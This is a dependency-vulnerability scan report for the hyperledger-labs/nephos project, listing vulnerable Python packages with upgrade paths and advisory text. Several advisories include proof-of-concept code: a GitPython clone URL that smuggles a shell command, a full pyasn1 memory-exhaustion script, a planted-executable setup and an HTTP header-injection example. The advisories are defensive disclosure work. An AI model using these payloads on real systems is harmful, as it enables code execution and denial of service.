Vulnerabilities

74 via 342 paths

Dependencies

77

Source

GitHub

Commit

4a39da2a

Find, fix and prevent vulnerabilities in your code.

Issue type
  • 74
  • 2
Severity
  • 5
  • 17
  • 51
  • 3
Status
  • 76
  • 0
  • 0

critical severity

Improper Following of a Certificate's Chain of Trust

  • Vulnerable module: certifi
  • Introduced through: certifi@2019.9.11, requests@2.22.0 and others

Detailed paths

  • Introduced through: hyperledger-labs/nephos@hyperledger-labs/nephos#4a39da2aaa5f7e88dc692fc53e9bd1308dbabab6 certifi@2019.9.11
    Remediation: Upgrade to certifi@2023.7.22.
  • Introduced through: hyperledger-labs/nephos@hyperledger-labs/nephos#4a39da2aaa5f7e88dc692fc53e9bd1308dbabab6 requests@2.22.0 certifi@2019.9.11
    Remediation: Upgrade to requests@2.32.0.
  • Introduced through: hyperledger-labs/nephos@hyperledger-labs/nephos#4a39da2aaa5f7e88dc692fc53e9bd1308dbabab6 kubernetes@10.0.1 certifi@2019.9.11
    Remediation: Upgrade to kubernetes@28.1.0.
  • Introduced through: hyperledger-labs/nephos@hyperledger-labs/nephos#4a39da2aaa5f7e88dc692fc53e9bd1308dbabab6 adal@1.2.2 requests@2.22.0 certifi@2019.9.11
  • Introduced through: hyperledger-labs/nephos@hyperledger-labs/nephos#4a39da2aaa5f7e88dc692fc53e9bd1308dbabab6 requests-oauthlib@1.2.0 requests@2.22.0 certifi@2019.9.11
    Remediation: Upgrade to requests-oauthlib@1.2.0.
  • Introduced through: hyperledger-labs/nephos@hyperledger-labs/nephos#4a39da2aaa5f7e88dc692fc53e9bd1308dbabab6 kubernetes@10.0.1 requests@2.22.0 certifi@2019.9.11
  • Introduced through: hyperledger-labs/nephos@hyperledger-labs/nephos#4a39da2aaa5f7e88dc692fc53e9bd1308dbabab6 requests-toolbelt@0.9.1 requests@2.22.0 certifi@2019.9.11
  • Introduced through: hyperledger-labs/nephos@hyperledger-labs/nephos#4a39da2aaa5f7e88dc692fc53e9bd1308dbabab6 sphinx@2.2.1 requests@2.22.0 certifi@2019.9.11
    Remediation: Upgrade to sphinx@5.2.0.
  • Introduced through: hyperledger-labs/nephos@hyperledger-labs/nephos#4a39da2aaa5f7e88dc692fc53e9bd1308dbabab6 twine@2.0.0 requests@2.22.0 certifi@2019.9.11
    Remediation: Upgrade to twine@5.0.0.
  • Introduced through: hyperledger-labs/nephos@hyperledger-labs/nephos#4a39da2aaa5f7e88dc692fc53e9bd1308dbabab6 kubernetes@10.0.1 requests-oauthlib@1.2.0 requests@2.22.0 certifi@2019.9.11
  • Introduced through: hyperledger-labs/nephos@hyperledger-labs/nephos#4a39da2aaa5f7e88dc692fc53e9bd1308dbabab6 twine@2.0.0 requests-toolbelt@0.9.1 requests@2.22.0 certifi@2019.9.11
  • Introduced through: hyperledger-labs/nephos@hyperledger-labs/nephos#4a39da2aaa5f7e88dc692fc53e9bd1308dbabab6 sphinx-rtd-theme@0.4.3 sphinx@2.2.1 requests@2.22.0 certifi@2019.9.11
    Remediation: Upgrade to sphinx-rtd-theme@3.0.0.

Overview

Affected versions of this package are vulnerable to Improper Following of a Certificate's Chain of Trust. E-Tugra's root certificates are being removed pursuant to an investigation prompted by reporting of security issues in their systems. Conclusions of Mozilla's investigation can be found here.

Note:

This issue is not an inherent vulnerability in the package, but a security measure against potential harmful effects of trusting the now-revoked root certificates.

Remediation

Upgrade certifi to version 2023.7.22 or higher.

References

critical severity

Remote Code Execution (RCE)

  • Vulnerable module: gitpython
  • Introduced through: gitpython@3.0.4 and bandit@1.6.2

Detailed paths

  • Introduced through: hyperledger-labs/nephos@hyperledger-labs/nephos#4a39da2aaa5f7e88dc692fc53e9bd1308dbabab6 gitpython@3.0.4
    Remediation: Upgrade to gitpython@3.1.32.
  • Introduced through: hyperledger-labs/nephos@hyperledger-labs/nephos#4a39da2aaa5f7e88dc692fc53e9bd1308dbabab6 bandit@1.6.2 gitpython@3.0.4
    Remediation: Upgrade to bandit@1.6.2.

Overview

GitPython is a python library used to interact with Git repositories

Affected versions of this package are vulnerable to Remote Code Execution (RCE) due to an improper fix for CVE-2022-24439, which allows insecure non-multi options in clone and clone_from.

PoC

r.clone_from('test', 'tmp', c=["protocol.ext.allow=always"])
GitCommandError: Cmd('git') failed due to: exit code(128)
cmdline: git clone -v -c protocol.ext.allow=always -- test tmp

Remediation

Upgrade GitPython to version 3.1.32 or higher.

References

critical severity

Arbitrary Code Execution

  • Vulnerable module: pyyaml
  • Introduced through: pyyaml@5.1.2, bandit@1.6.2 and others

Detailed paths

  • Introduced through: hyperledger-labs/nephos@hyperledger-labs/nephos#4a39da2aaa5f7e88dc692fc53e9bd1308dbabab6 pyyaml@5.1.2
    Remediation: Upgrade to pyyaml@5.3.1.
  • Introduced through: hyperledger-labs/nephos@hyperledger-labs/nephos#4a39da2aaa5f7e88dc692fc53e9bd1308dbabab6 bandit@1.6.2 pyyaml@5.1.2
    Remediation: Upgrade to bandit@1.6.2.
  • Introduced through: hyperledger-labs/nephos@hyperledger-labs/nephos#4a39da2aaa5f7e88dc692fc53e9bd1308dbabab6 kubernetes@10.0.1 pyyaml@5.1.2
    Remediation: Upgrade to kubernetes@28.1.0.

Overview

Affected versions of this package are vulnerable to Arbitrary Code Execution. It is susceptible to arbitrary code execution when it processes untrusted YAML files through the full_load method or with the FullLoader loader. Applications that use the library to process untrusted input may be vulnerable to this flaw. An attacker could use this flaw to execute arbitrary code on the system by abusing the python/object/new constructor.

Remediation

Upgrade PyYAML to version 5.3.1 or higher.

References

critical severity

Arbitrary Code Execution

  • Vulnerable module: pyyaml
  • Introduced through: pyyaml@5.1.2, bandit@1.6.2 and others

Detailed paths

  • Introduced through: hyperledger-labs/nephos@hyperledger-labs/nephos#4a39da2aaa5f7e88dc692fc53e9bd1308dbabab6 pyyaml@5.1.2
    Remediation: Upgrade to pyyaml@5.4.
  • Introduced through: hyperledger-labs/nephos@hyperledger-labs/nephos#4a39da2aaa5f7e88dc692fc53e9bd1308dbabab6 bandit@1.6.2 pyyaml@5.1.2
    Remediation: Upgrade to bandit@1.6.2.
  • Introduced through: hyperledger-labs/nephos@hyperledger-labs/nephos#4a39da2aaa5f7e88dc692fc53e9bd1308dbabab6 kubernetes@10.0.1 pyyaml@5.1.2
    Remediation: Upgrade to kubernetes@28.1.0.

Overview

Affected versions of this package are vulnerable to Arbitrary Code Execution. It processes untrusted YAML files through the full_load method or with the FullLoader loader. This is due to an incomplete fix for CVE-2020-1747.

Remediation

Upgrade PyYAML to version 5.4 or higher.

References

critical severity

Improper Access Control

  • Vulnerable module: pyyaml
  • Introduced through: pyyaml@5.1.2, bandit@1.6.2 and others

Detailed paths

  • Introduced through: hyperledger-labs/nephos@hyperledger-labs/nephos#4a39da2aaa5f7e88dc692fc53e9bd1308dbabab6 pyyaml@5.1.2
    Remediation: Upgrade to pyyaml@5.2.
  • Introduced through: hyperledger-labs/nephos@hyperledger-labs/nephos#4a39da2aaa5f7e88dc692fc53e9bd1308dbabab6 bandit@1.6.2 pyyaml@5.1.2
    Remediation: Upgrade to bandit@1.6.2.
  • Introduced through: hyperledger-labs/nephos@hyperledger-labs/nephos#4a39da2aaa5f7e88dc692fc53e9bd1308dbabab6 kubernetes@10.0.1 pyyaml@5.1.2
    Remediation: Upgrade to kubernetes@28.1.0.

Overview

Affected versions of this package are vulnerable to Improper Access Control. It has insufficient restrictions on the load and load_all functions because of a class deserialization issue, e.g., Popen is a class in the subprocess module.

Remediation

Upgrade PyYAML to version 5.2 or higher.

References

high severity

Allocation of Resources Without Limits or Throttling

  • Vulnerable module: urllib3
  • Introduced through: urllib3@1.25.6, requests@2.22.0 and others

Detailed paths

  • Introduced through: hyperledger-labs/nephos@hyperledger-labs/nephos#4a39da2aaa5f7e88dc692fc53e9bd1308dbabab6 urllib3@1.25.6
    Remediation: Upgrade to urllib3@2.6.0.
  • Introduced through: hyperledger-labs/nephos@hyperledger-labs/nephos#4a39da2aaa5f7e88dc692fc53e9bd1308dbabab6 requests@2.22.0 urllib3@1.25.6
    Remediation: Upgrade to requests@2.32.0.
  • Introduced through: hyperledger-labs/nephos@hyperledger-labs/nephos#4a39da2aaa5f7e88dc692fc53e9bd1308dbabab6 kubernetes@10.0.1 urllib3@1.25.6
    Remediation: Upgrade to kubernetes@28.1.0.
  • Introduced through: hyperledger-labs/nephos@hyperledger-labs/nephos#4a39da2aaa5f7e88dc692fc53e9bd1308dbabab6 adal@1.2.2 requests@2.22.0 urllib3@1.25.6
  • Introduced through: hyperledger-labs/nephos@hyperledger-labs/nephos#4a39da2aaa5f7e88dc692fc53e9bd1308dbabab6 requests-oauthlib@1.2.0 requests@2.22.0 urllib3@1.25.6
    Remediation: Upgrade to requests-oauthlib@1.2.0.
  • Introduced through: hyperledger-labs/nephos@hyperledger-labs/nephos#4a39da2aaa5f7e88dc692fc53e9bd1308dbabab6 kubernetes@10.0.1 requests@2.22.0 urllib3@1.25.6
  • Introduced through: hyperledger-labs/nephos@hyperledger-labs/nephos#4a39da2aaa5f7e88dc692fc53e9bd1308dbabab6 requests-toolbelt@0.9.1 requests@2.22.0 urllib3@1.25.6
  • Introduced through: hyperledger-labs/nephos@hyperledger-labs/nephos#4a39da2aaa5f7e88dc692fc53e9bd1308dbabab6 sphinx@2.2.1 requests@2.22.0 urllib3@1.25.6
    Remediation: Upgrade to sphinx@5.2.0.
  • Introduced through: hyperledger-labs/nephos@hyperledger-labs/nephos#4a39da2aaa5f7e88dc692fc53e9bd1308dbabab6 twine@2.0.0 requests@2.22.0 urllib3@1.25.6
    Remediation: Upgrade to twine@5.0.0.
  • Introduced through: hyperledger-labs/nephos@hyperledger-labs/nephos#4a39da2aaa5f7e88dc692fc53e9bd1308dbabab6 kubernetes@10.0.1 requests-oauthlib@1.2.0 requests@2.22.0 urllib3@1.25.6
  • Introduced through: hyperledger-labs/nephos@hyperledger-labs/nephos#4a39da2aaa5f7e88dc692fc53e9bd1308dbabab6 twine@2.0.0 requests-toolbelt@0.9.1 requests@2.22.0 urllib3@1.25.6
  • Introduced through: hyperledger-labs/nephos@hyperledger-labs/nephos#4a39da2aaa5f7e88dc692fc53e9bd1308dbabab6 sphinx-rtd-theme@0.4.3 sphinx@2.2.1 requests@2.22.0 urllib3@1.25.6
    Remediation: Upgrade to sphinx-rtd-theme@3.0.0.

Overview

urllib3 is a HTTP library with thread-safe connection pooling, file post, and more.

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling during the decompression of compressed response data. An attacker can cause excessive CPU and memory consumption by sending responses with a large number of chained compression steps.

Workaround

This vulnerability can be avoided by setting preload_content=False and ensuring that resp.headers["content-encoding"] are limited to a safe quantity before reading.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

  • High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

  • Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade urllib3 to version 2.6.0 or higher.

References

high severity

Improper Handling of Highly Compressed Data (Data Amplification)

  • Vulnerable module: urllib3
  • Introduced through: urllib3@1.25.6, requests@2.22.0 and others

Detailed paths

  • Introduced through: hyperledger-labs/nephos@hyperledger-labs/nephos#4a39da2aaa5f7e88dc692fc53e9bd1308dbabab6 urllib3@1.25.6
    Remediation: Upgrade to urllib3@2.6.0.
  • Introduced through: hyperledger-labs/nephos@hyperledger-labs/nephos#4a39da2aaa5f7e88dc692fc53e9bd1308dbabab6 requests@2.22.0 urllib3@1.25.6
    Remediation: Upgrade to requests@2.32.0.
  • Introduced through: hyperledger-labs/nephos@hyperledger-labs/nephos#4a39da2aaa5f7e88dc692fc53e9bd1308dbabab6 kubernetes@10.0.1 urllib3@1.25.6
    Remediation: Upgrade to kubernetes@28.1.0.
  • Introduced through: hyperledger-labs/nephos@hyperledger-labs/nephos#4a39da2aaa5f7e88dc692fc53e9bd1308dbabab6 adal@1.2.2 requests@2.22.0 urllib3@1.25.6
  • Introduced through: hyperledger-labs/nephos@hyperledger-labs/nephos#4a39da2aaa5f7e88dc692fc53e9bd1308dbabab6 requests-oauthlib@1.2.0 requests@2.22.0 urllib3@1.25.6
    Remediation: Upgrade to requests-oauthlib@1.2.0.
  • Introduced through: hyperledger-labs/nephos@hyperledger-labs/nephos#4a39da2aaa5f7e88dc692fc53e9bd1308dbabab6 kubernetes@10.0.1 requests@2.22.0 urllib3@1.25.6
  • Introduced through: hyperledger-labs/nephos@hyperledger-labs/nephos#4a39da2aaa5f7e88dc692fc53e9bd1308dbabab6 requests-toolbelt@0.9.1 requests@2.22.0 urllib3@1.25.6
  • Introduced through: hyperledger-labs/nephos@hyperledger-labs/nephos#4a39da2aaa5f7e88dc692fc53e9bd1308dbabab6 sphinx@2.2.1 requests@2.22.0 urllib3@1.25.6
    Remediation: Upgrade to sphinx@5.2.0.
  • Introduced through: hyperledger-labs/nephos@hyperledger-labs/nephos#4a39da2aaa5f7e88dc692fc53e9bd1308dbabab6 twine@2.0.0 requests@2.22.0 urllib3@1.25.6
    Remediation: Upgrade to twine@5.0.0.
  • Introduced through: hyperledger-labs/nephos@hyperledger-labs/nephos#4a39da2aaa5f7e88dc692fc53e9bd1308dbabab6 kubernetes@10.0.1 requests-oauthlib@1.2.0 requests@2.22.0 urllib3@1.25.6
  • Introduced through: hyperledger-labs/nephos@hyperledger-labs/nephos#4a39da2aaa5f7e88dc692fc53e9bd1308dbabab6 twine@2.0.0 requests-toolbelt@0.9.1 requests@2.22.0 urllib3@1.25.6
  • Introduced through: hyperledger-labs/nephos@hyperledger-labs/nephos#4a39da2aaa5f7e88dc692fc53e9bd1308dbabab6 sphinx-rtd-theme@0.4.3 sphinx@2.2.1 requests@2.22.0 urllib3@1.25.6
    Remediation: Upgrade to sphinx-rtd-theme@3.0.0.

Overview

urllib3 is a HTTP library with thread-safe connection pooling, file post, and more.

Affected versions of this package are vulnerable to Improper Handling of Highly Compressed Data (Data Amplification) in the Streaming API. The ContentDecoder class can be forced to allocate disproportionate resources when processing a single chunk with very high compression, such as via the stream(), read(amt=256), read1(amt=256), read_chunked(amt=256), and readinto(b) functions.

Note: It is recommended to patch Brotli dependencies (upgrade to at least 1.2.0) if they are installed outside of urllib3 as well, to avoid other instances of the same vulnerability.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

  • High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

  • Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade urllib3 to version 2.6.0 or higher.

References

high severity
new

Improper Handling of Highly Compressed Data (Data Amplification)

  • Vulnerable module: urllib3
  • Introduced through: urllib3@1.25.6, requests@2.22.0 and others

Detailed paths

  • Introduced through: hyperledger-labs/nephos@hyperledger-labs/nephos#4a39da2aaa5f7e88dc692fc53e9bd1308dbabab6 urllib3@1.25.6
    Remediation: Upgrade to urllib3@2.6.3.
  • Introduced through: hyperledger-labs/nephos@hyperledger-labs/nephos#4a39da2aaa5f7e88dc692fc53e9bd1308dbabab6 requests@2.22.0 urllib3@1.25.6
    Remediation: Upgrade to requests@2.32.0.
  • Introduced through: hyperledger-labs/nephos@hyperledger-labs/nephos#4a39da2aaa5f7e88dc692fc53e9bd1308dbabab6 kubernetes@10.0.1 urllib3@1.25.6
    Remediation: Upgrade to kubernetes@28.1.0.
  • Introduced through: hyperledger-labs/nephos@hyperledger-labs/nephos#4a39da2aaa5f7e88dc692fc53e9bd1308dbabab6 adal@1.2.2 requests@2.22.0 urllib3@1.25.6
  • Introduced through: hyperledger-labs/nephos@hyperledger-labs/nephos#4a39da2aaa5f7e88dc692fc53e9bd1308dbabab6 requests-oauthlib@1.2.0 requests@2.22.0 urllib3@1.25.6
    Remediation: Upgrade to requests-oauthlib@1.2.0.
  • Introduced through: hyperledger-labs/nephos@hyperledger-labs/nephos#4a39da2aaa5f7e88dc692fc53e9bd1308dbabab6 kubernetes@10.0.1 requests@2.22.0 urllib3@1.25.6
  • Introduced through: hyperledger-labs/nephos@hyperledger-labs/nephos#4a39da2aaa5f7e88dc692fc53e9bd1308dbabab6 requests-toolbelt@0.9.1 requests@2.22.0 urllib3@1.25.6
  • Introduced through: hyperledger-labs/nephos@hyperledger-labs/nephos#4a39da2aaa5f7e88dc692fc53e9bd1308dbabab6 sphinx@2.2.1 requests@2.22.0 urllib3@1.25.6
    Remediation: Upgrade to sphinx@5.2.0.
  • Introduced through: hyperledger-labs/nephos@hyperledger-labs/nephos#4a39da2aaa5f7e88dc692fc53e9bd1308dbabab6 twine@2.0.0 requests@2.22.0 urllib3@1.25.6
    Remediation: Upgrade to twine@5.0.0.
  • Introduced through: hyperledger-labs/nephos@hyperledger-labs/nephos#4a39da2aaa5f7e88dc692fc53e9bd1308dbabab6 kubernetes@10.0.1 requests-oauthlib@1.2.0 requests@2.22.0 urllib3@1.25.6
  • Introduced through: hyperledger-labs/nephos@hyperledger-labs/nephos#4a39da2aaa5f7e88dc692fc53e9bd1308dbabab6 twine@2.0.0 requests-toolbelt@0.9.1 requests@2.22.0 urllib3@1.25.6
  • Introduced through: hyperledger-labs/nephos@hyperledger-labs/nephos#4a39da2aaa5f7e88dc692fc53e9bd1308dbabab6 sphinx-rtd-theme@0.4.3 sphinx@2.2.1 requests@2.22.0 urllib3@1.25.6
    Remediation: Upgrade to sphinx-rtd-theme@3.0.0.

Overview

urllib3 is a HTTP library with thread-safe connection pooling, file post, and more.

Affected versions of this package are vulnerable to Improper Handling of Highly Compressed Data (Data Amplification) via the streaming API when handling HTTP redirects. An attacker can cause excessive resource consumption by serving a specially crafted compressed response that triggers decompression of large amounts of data before any read limits are enforced.

Note: This is only exploitable if content is streamed from untrusted sources with redirects enabled.

Workaround

This vulnerability can be mitigated by disabling redirects by setting redirect=False for requests to untrusted sources.

Remediation

Upgrade urllib3 to version 2.6.3 or higher.

References

high severity
new

Allocation of Resources Without Limits or Throttling

  • Vulnerable module: pyasn1
  • Introduced through: pyasn1@0.4.7, pyasn1-modules@0.2.7 and others

Detailed paths

  • Introduced through: hyperledger-labs/nephos@hyperledger-labs/nephos#4a39da2aaa5f7e88dc692fc53e9bd1308dbabab6 pyasn1@0.4.7
    Remediation: Upgrade to pyasn1@0.6.2.
  • Introduced through: hyperledger-labs/nephos@hyperledger-labs/nephos#4a39da2aaa5f7e88dc692fc53e9bd1308dbabab6 pyasn1-modules@0.2.7 pyasn1@0.4.7
    Remediation: Upgrade to pyasn1-modules@0.4.0.
  • Introduced through: hyperledger-labs/nephos@hyperledger-labs/nephos#4a39da2aaa5f7e88dc692fc53e9bd1308dbabab6 rsa@4.0 pyasn1@0.4.7
    Remediation: Upgrade to rsa@4.0.
  • Introduced through: hyperledger-labs/nephos@hyperledger-labs/nephos#4a39da2aaa5f7e88dc692fc53e9bd1308dbabab6 google-auth@1.7.1 pyasn1-modules@0.2.7 pyasn1@0.4.7
    Remediation: Upgrade to google-auth@2.24.0.
  • Introduced through: hyperledger-labs/nephos@hyperledger-labs/nephos#4a39da2aaa5f7e88dc692fc53e9bd1308dbabab6 google-auth@1.7.1 rsa@4.0 pyasn1@0.4.7
    Remediation: Upgrade to google-auth@2.24.0.
  • Introduced through: hyperledger-labs/nephos@hyperledger-labs/nephos#4a39da2aaa5f7e88dc692fc53e9bd1308dbabab6 kubernetes@10.0.1 google-auth@1.7.1 pyasn1-modules@0.2.7 pyasn1@0.4.7
    Remediation: Upgrade to kubernetes@28.1.0.
  • Introduced through: hyperledger-labs/nephos@hyperledger-labs/nephos#4a39da2aaa5f7e88dc692fc53e9bd1308dbabab6 kubernetes@10.0.1 google-auth@1.7.1 rsa@4.0 pyasn1@0.4.7
    Remediation: Upgrade to kubernetes@28.1.0.

Overview

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the valueDecoder function in decoder.py. An attacker can cause memory exhaustion by submitting a malformed RELATIVE-OID containing excessive continuation octets.

PoC

import pyasn1.codec.ber.decoder as decoder
import pyasn1.type.univ as univ
import sys
import resource

# Deliberately set memory limit to display PoC
try:
    resource.setrlimit(resource.RLIMIT_AS, (100*1024*1024, 100*1024*1024))
    print("[*] Memory limit set to 100MB")
except:
    print("[-] Could not set memory limit")

# Test with different payload sizes to find the DoS threshold
payload_size_mb = int(sys.argv[1])

print(f"[*] Testing with {payload_size_mb}MB payload...")

payload_size = payload_size_mb * 1024 * 1024
# Create payload with continuation octets
# Each 0x81 byte indicates continuation, causing bit shifting in decoder
payload = b'\x81' * payload_size + b'\x00'
length = len(payload)

# DER length encoding (supports up to 4GB)
if length < 128:
    length_bytes = bytes([length])
elif length < 256:
    length_bytes = b'\x81' + length.to_bytes(1, 'big')
elif length < 256**2:
    length_bytes = b'\x82' + length.to_bytes(2, 'big')
elif length < 256**3:
    length_bytes = b'\x83' + length.to_bytes(3, 'big')
else:
    # 4 bytes can handle up to 4GB
    length_bytes = b'\x84' + length.to_bytes(4, 'big')

# Use OID (0x06) for more aggressive parsing
malicious_packet = b'\x06' + length_bytes + payload

print(f"[*] Packet size: {len(malicious_packet) / 1024 / 1024:.1f} MB")

try:
    print("[*] Decoding (this may take time or exhaust memory)...")
    result = decoder.decode(malicious_packet, asn1Spec=univ.ObjectIdentifier())

    print(f'[+] Decoded successfully')
    print(f'[!] Object size: {sys.getsizeof(result[0])} bytes')

    # Try to convert to string
    print('[*] Converting to string...')
    try:
        str_result = str(result[0])
        print(f'[+] String succeeded: {len(str_result)} chars')
        if len(str_result) > 10000:
            print(f'[!] MEMORY EXPLOSION: {len(str_result)} character string!')
    except MemoryError:
        print(f'[-] MemoryError during string conversion!')
    except Exception as e:
        print(f'[-] {type(e).__name__} during string conversion')

except MemoryError:
    print('[-] MemoryError: Out of memory!')
except Exception as e:
    print(f'[-] Error: {type(e).__name__}: {e}')


print("\n[*] Test completed")

Remediation

Upgrade pyasn1 to version 0.6.2 or higher.

References

high severity

Remote Code Execution (RCE)

  • Vulnerable module: gitpython
  • Introduced through: gitpython@3.0.4 and bandit@1.6.2

Detailed paths

  • Introduced through: hyperledger-labs/nephos@hyperledger-labs/nephos#4a39da2aaa5f7e88dc692fc53e9bd1308dbabab6 gitpython@3.0.4
    Remediation: Upgrade to gitpython@3.1.30.
  • Introduced through: hyperledger-labs/nephos@hyperledger-labs/nephos#4a39da2aaa5f7e88dc692fc53e9bd1308dbabab6 bandit@1.6.2 gitpython@3.0.4
    Remediation: Upgrade to bandit@1.6.2.

Overview

GitPython is a python library used to interact with Git repositories

Affected versions of this package are vulnerable to Remote Code Execution (RCE) due to improper user input validation, which makes it possible to inject a maliciously crafted remote URL into the clone command. Exploiting this vulnerability is possible because the library makes external calls to git without sufficient sanitization of input arguments. This is only relevant when enabling the ext transport protocol.

PoC

from git import Repo
r = Repo.init('', bare=True)
r.clone_from('ext::sh -c touch% /tmp/pwned', 'tmp', multi_options=["-c protocol.ext.allow=always"])

Remediation

Upgrade GitPython to version 3.1.30 or higher.

References

high severity

Untrusted Search Path

  • Vulnerable module: gitpython
  • Introduced through: gitpython@3.0.4 and bandit@1.6.2

Detailed paths

  • Introduced through: hyperledger-labs/nephos@hyperledger-labs/nephos#4a39da2aaa5f7e88dc692fc53e9bd1308dbabab6 gitpython@3.0.4
    Remediation: Upgrade to gitpython@3.1.33.
  • Introduced through: hyperledger-labs/nephos@hyperledger-labs/nephos#4a39da2aaa5f7e88dc692fc53e9bd1308dbabab6 bandit@1.6.2 gitpython@3.0.4
    Remediation: Upgrade to bandit@1.6.2.

Overview

GitPython is a python library used to interact with Git repositories

Affected versions of this package are vulnerable to Untrusted Search Path allowing an attacker to run any arbitrary commands through a downloaded repository with a malicious git executable.

Note: This vulnerability affects only Windows systems.

PoC

On a Windows system, create a git.exe or git executable in any directory, and import or run GitPython from that directory

python -c "import git"

The git executable from the current directory will be run.

Remediation

Upgrade GitPython to version 3.1.33 or higher.

References

high severity

Untrusted Search Path

  • Vulnerable module: gitpython
  • Introduced through: gitpython@3.0.4 and bandit@1.6.2

Detailed paths

  • Introduced through: hyperledger-labs/nephos@hyperledger-labs/nephos#4a39da2aaa5f7e88dc692fc53e9bd1308dbabab6 gitpython@3.0.4
    Remediation: Upgrade to gitpython@3.1.41.
  • Introduced through: hyperledger-labs/nephos@hyperledger-labs/nephos#4a39da2aaa5f7e88dc692fc53e9bd1308dbabab6 bandit@1.6.2 gitpython@3.0.4
    Remediation: Upgrade to bandit@1.6.2.

Overview

GitPython is a python library used to interact with Git repositories

Affected versions of this package are vulnerable to Untrusted Search Path via the use of an untrusted search path on Windows. An attacker can execute arbitrary code by placing a malicious git.exe or bash.exe in the current directory, which may then be executed instead of the legitimate binaries when certain GitPython features are used.

Notes:

  1. This is a completion of the fix for CVE-2023-40590.

  2. When GitPython runs git directly rather than through a shell, the GitPython process performs the path search, and omits the current directory by setting NoDefaultCurrentDirectoryInExePath in its own environment during the Popen call.

  3. GitPython sets the subprocess CWD to the root of a repository's working tree. Using a shell will run a malicious git.exe in an untrusted repository even if GitPython itself is run from a trusted location. This also applies if git.execute is called directly with shell=True or after git.USE_SHELL = True, to run any command.

  4. On Windows, GitPython uses bash.exe to run hooks that appear to be scripts. However, unlike when running git, no steps are taken to avoid finding and running bash.exe in the current directory. While bash.exe is a shell, this is a separate scenario from when git is run using the unrelated Windows cmd.exe shell.

PoC

mkdir testrepo
git init testrepo
cp ... testrepo\git.exe  # Replace "..." with any executable of choice.
python -c "import git; print(git.Repo('testrepo').git.version(shell=True))"

Remediation

Upgrade GitPython to version 3.1.41 or higher.

References

high severity

HTTP Header Injection

  • Vulnerable module: urllib3
  • Introduced through: urllib3@1.25.6, requests@2.22.0 and others

Detailed paths

  • Introduced through: hyperledger-labs/nephos@hyperledger-labs/nephos#4a39da2aaa5f7e88dc692fc53e9bd1308dbabab6 urllib3@1.25.6
    Remediation: Upgrade to urllib3@1.25.9.
  • Introduced through: hyperledger-labs/nephos@hyperledger-labs/nephos#4a39da2aaa5f7e88dc692fc53e9bd1308dbabab6 requests@2.22.0 urllib3@1.25.6
    Remediation: Upgrade to requests@2.32.0.
  • Introduced through: hyperledger-labs/nephos@hyperledger-labs/nephos#4a39da2aaa5f7e88dc692fc53e9bd1308dbabab6 kubernetes@10.0.1 urllib3@1.25.6
    Remediation: Upgrade to kubernetes@28.1.0.
  • Introduced through: hyperledger-labs/nephos@hyperledger-labs/nephos#4a39da2aaa5f7e88dc692fc53e9bd1308dbabab6 adal@1.2.2 requests@2.22.0 urllib3@1.25.6
  • Introduced through: hyperledger-labs/nephos@hyperledger-labs/nephos#4a39da2aaa5f7e88dc692fc53e9bd1308dbabab6 requests-oauthlib@1.2.0 requests@2.22.0 urllib3@1.25.6
    Remediation: Upgrade to requests-oauthlib@1.2.0.
  • Introduced through: hyperledger-labs/nephos@hyperledger-labs/nephos#4a39da2aaa5f7e88dc692fc53e9bd1308dbabab6 kubernetes@10.0.1 requests@2.22.0 urllib3@1.25.6
  • Introduced through: hyperledger-labs/nephos@hyperledger-labs/nephos#4a39da2aaa5f7e88dc692fc53e9bd1308dbabab6 requests-toolbelt@0.9.1 requests@2.22.0 urllib3@1.25.6
  • Introduced through: hyperledger-labs/nephos@hyperledger-labs/nephos#4a39da2aaa5f7e88dc692fc53e9bd1308dbabab6 sphinx@2.2.1 requests@2.22.0 urllib3@1.25.6
    Remediation: Upgrade to sphinx@5.2.0.
  • Introduced through: hyperledger-labs/nephos@hyperledger-labs/nephos#4a39da2aaa5f7e88dc692fc53e9bd1308dbabab6 twine@2.0.0 requests@2.22.0 urllib3@1.25.6
    Remediation: Upgrade to twine@5.0.0.
  • Introduced through: hyperledger-labs/nephos@hyperledger-labs/nephos#4a39da2aaa5f7e88dc692fc53e9bd1308dbabab6 kubernetes@10.0.1 requests-oauthlib@1.2.0 requests@2.22.0 urllib3@1.25.6
  • Introduced through: hyperledger-labs/nephos@hyperledger-labs/nephos#4a39da2aaa5f7e88dc692fc53e9bd1308dbabab6 twine@2.0.0 requests-toolbelt@0.9.1 requests@2.22.0 urllib3@1.25.6
  • Introduced through: hyperledger-labs/nephos@hyperledger-labs/nephos#4a39da2aaa5f7e88dc692fc53e9bd1308dbabab6 sphinx-rtd-theme@0.4.3 sphinx@2.2.1 requests@2.22.0 urllib3@1.25.6
    Remediation: Upgrade to sphinx-rtd-theme@3.0.0.

Overview

urllib3 is a HTTP library with thread-safe connection pooling, file post, and more.

Affected versions of this package are vulnerable to HTTP Header Injection. The 'method' parameter is not filtered to prevent the injection from altering the entire request.

For example:

>>> conn = http.client.HTTPConnection("localhost", 80)
>>> conn.request(method="GET / HTTP/1.1\r\nHost: abc\r\nRemainder:", url="/index.html")

This will result in the following request being generated:

GET / HTTP/1.1
Host: abc
Remainder: /index.html HTTP/1.1
Host: localhost
